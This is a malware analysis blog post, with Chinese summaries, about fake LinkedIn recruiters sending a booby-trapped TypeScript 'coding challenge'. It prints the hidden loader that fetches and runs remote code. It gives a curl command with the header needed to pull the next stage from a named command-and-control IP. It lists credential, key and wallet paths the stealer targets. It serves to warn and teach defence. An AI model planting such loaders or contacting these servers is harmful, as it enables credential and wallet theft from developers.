如何通过求职面试入侵你的系统
How to compromise your system with a job interview

原始链接: https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview

在一场精心设计的网络钓鱼活动中,攻击者冒充招聘人员在 LinkedIn 上以诱人的远程工作机会为诱饵,针对软件工程师进行攻击。这些诈骗者会提供一个看起来像是正规项目的“编程挑战”,实则是一个危险的木马程序。 当受害者运行代码(通常通过 `npm run dev` 等命令)时,一个隐藏脚本会从外部服务器获取恶意载荷。该载荷会执行第二阶段加载程序,并部署远程访问木马 (RAT)。由于代码是在开发者的用户账户下运行,因此无需提升权限即可访问敏感数据。恶意软件会主动窃取浏览器凭据、加密货币钱包、SSH 密钥、AWS 凭据以及环境变量(.env 文件),并将其外泄至命令与控制服务器。 为避免上当受骗,请警惕非官方的电子邮件地址、跳过初次面试的流程,以及要求使用 Bitbucket 等非常规平台的操作。为了保护自己,务必在 Vagrant 或沙盒虚拟机等隔离环境中运行可疑代码,但需注意高级恶意软件能够检测并规避某些沙盒环境。如果您怀疑系统已遭入侵,请立即撤销所有凭据、轮换密钥,并对操作系统进行干净重装。

这篇 Hacker News 帖子讨论了求职相关诈骗日益猖獗的现象,并为求职者提供了自我保护策略。 普遍的共识是,最有效的防御手段是要求通过公司官方邮箱进行沟通。用户还建议了几种识别虚假招聘人员的审查技巧: * **审查个人资料:** 检查招聘人员的领英(LinkedIn)履历是否存在前后矛盾,例如语言风格突然转变,或发布内容质量低下、过于通用。 * **核实公司:** 确认企业的合法性,并检查该招聘人员是否出现在公司官方团队页面上。 * **要求提供文档:** 要求提供公开招聘信息的链接,而不是接受直接粘贴的文本或人工智能生成的 PDF。 * **使用临时邮箱:** 使用 SimpleLogin 等服务来筛选初步的往来邮件。 参与者指出,这些诈骗手段正变得越来越复杂,有时甚至包含旨在自动加载到 VSCode 等集成开发环境(IDE)中的恶意载荷。尽管人工智能工具正被用于自动化这些骗局,但评论者指出,目前的人工智能代码扫描器在检测此类安全威胁方面尚不可完全信赖。共识在于,保持怀疑并及时举报可疑账户仍然是最好的防御防线。
相关文章

原文
Table of contents

The current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match for a new position based on your prior experience. It might not be what it seems at a first glance.

“A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine. The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn.

Info

The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation.

Before you start with the test, you might be suspicious about the following:

  • The person contacting you is not part of the company on LinkedIn
  • There is no first “Get to know you”-call before you receive the coding test
  • The test might be in a different programming language than you’re skilled in
  • The code is available on Bitbucket, which IMHO is uncommon
  • The sender email address is a @gmail.com instead of an official one from the company

Hindsight is 20/20 so no judging here.

How it begins

The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is

  • about 180 files
  • a mix of dead and working code
  • no obfuscation or minification

.. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked.

Here is the fishy code part that starts downloading further packages to inspect your system.

Warning

That is the endpoint, that ships more garbage. Watch out! The complete source code can be found in this Bitbucket repository.

1
2
3
4
5
6
7
const initPriceConfig = async () => {
    const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
    const res = (await axios.get(`${src}`));
    const handler = new (Function.constructor)('require', res.data.record.model);
    if (handler) handler(require);
};
initPriceConfig();

The internal logic of the application always runs this function first by executing npm run dev, npm start, and so on. As it hands require in, it can:

  • require('child_process') for shell out
  • require('fs') for read/walk the filesystem, write persistence
  • require('net')/require('https') to open its own exfiltration channel
  • read process.env directly, which in this app means MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY

A lot of things you desperately do not want to happen on your system.

A closer look: second stage loader

The response from the jsonbin.io endpoint is effectively a remote-code execution loader. The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle.

After deobfuscating the returned payload we get another bunch of obfuscated JavaScript. This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.

I was able to pull the next piece of code using this

1
2
3
4
5
6
7
curl -sS -v --max-time 30 \
  -H 'Authentication: jwt' \
  -H 'Accept: application/json, text/plain, */*' \
  -A 'axios/1.5.3' \
  -D headers.txt \
  -o body.bin \
  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

It needs an Authentication header, with jwt as the token. This endpoint gives more obfuscated JavaScript code, in particular the following four modules:

scdata: an interactive RAT (Remote Access Trojan)
node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop+sharp for screen capture, clipboardy, and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal.

ldata: browser credential and wallet stealer.
Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain. It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute.

File grabber: walks the home directory
It tries to find private key, secret phrase, *metamask*, bitcoin, solana, .env, *.pem, *.p12, *.pfx, plus documents and images, and whole .ssh, .aws, .gnupg and .docker directories. And, it enumerates all drive letters on Windows.

Clipboard monitor: monitor your clipboard
It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log.

When the victim connects out to 147.189.174.138:7321, the server sees the source address on the accepted socket, exactly as any web server sees a visitor’s IP. No discovery, no scanning, no registration of an address. This is precisely why outbound-only design is so convenient for the attacker: it works behind NAT, CGNAT, a corporate proxy, or a home router with zero configuration, and it doesn’t matter if the victim’s IP changes.

You opened the door to hell while you just wanted to get a job.

Why can it access all your files?

The malware gets the home directory of the current user and then builds the paths to look at.

1
2
3
4
5
6
7
8
rootDir  = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
              path.join(os.homedir(), ".ssh"),
              path.join(os.homedir(), ".azure"),
              path.join(os.homedir(), ".foundry"),
              path.join(os.homedir(), ".config"),
              //...
]

It never asks for elevation. It doesn’t need root, UAC, or sudo, because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely. A process running under your account inherits that access. Node isn’t doing anything exotic here as cat ~/.ssh/id_rsa from a shell would work identically.

On Windows it goes further than home, enumerating drive letters via PowerShell and calling scanDir on each root, so mapped network drives and secondary disks are in scope too.

Some precaution for next time

A couple of things could have helped, although there is never 100% protection. You would just not expect such a thing from a piece of code you get for a job opportunity.

  • AI: a weak protection
    Ask your AI of choice to scan the project for any anomalies - obfuscated code, minifications, calls to external endpoints, unusual code patterns, etc. This is only a partial solution, as it would tell you the call to the jsonbin.io but it cannot see what the returned values are.
  • Docker: a partially weak protection
    Putting things into Docker and only executing the code inside isolates your host system and does not reveal any stored secret - as long as you do not mount host data into the container.
  • Vagrant: probably your best choice
    Running the code in a completely isolated system might even be the best choice. Snapshot your VM before and restore it afterwards. If there is no UI/Desktop environment the module for leaking browser data or screenshots is self-limiting. Still, the RAT and file grabber work.

Note that the RAT actively fingerprints for VM usage. It runs system_profiler, reads /proc/cpuinfo, and greps for vmware, qemu, microsoft corporation, then tags the beacon (VM) or (Local). That flag most likely feeds operator triage: a VM is more likely to be a sandbox and less likely to hold real wallets, so it may get deprioritised or handled more carefully.

A note on the AI part: Claude Code was not able to detect any strange things when just prompted to scan the code base for unusual patterns.

What now

When the damage is done you probably should:

  • revoke and rotate SSH keys
  • change passwords
  • check if you have any plaintext secrets or information stored that needs to be changed

… and reinstall your OS - better safe than sorry.

Meanwhile the fisherman’s (fake recruiter) profile has been deleted.

This post was created on and updated on .

联系我们 contact @ memedata.com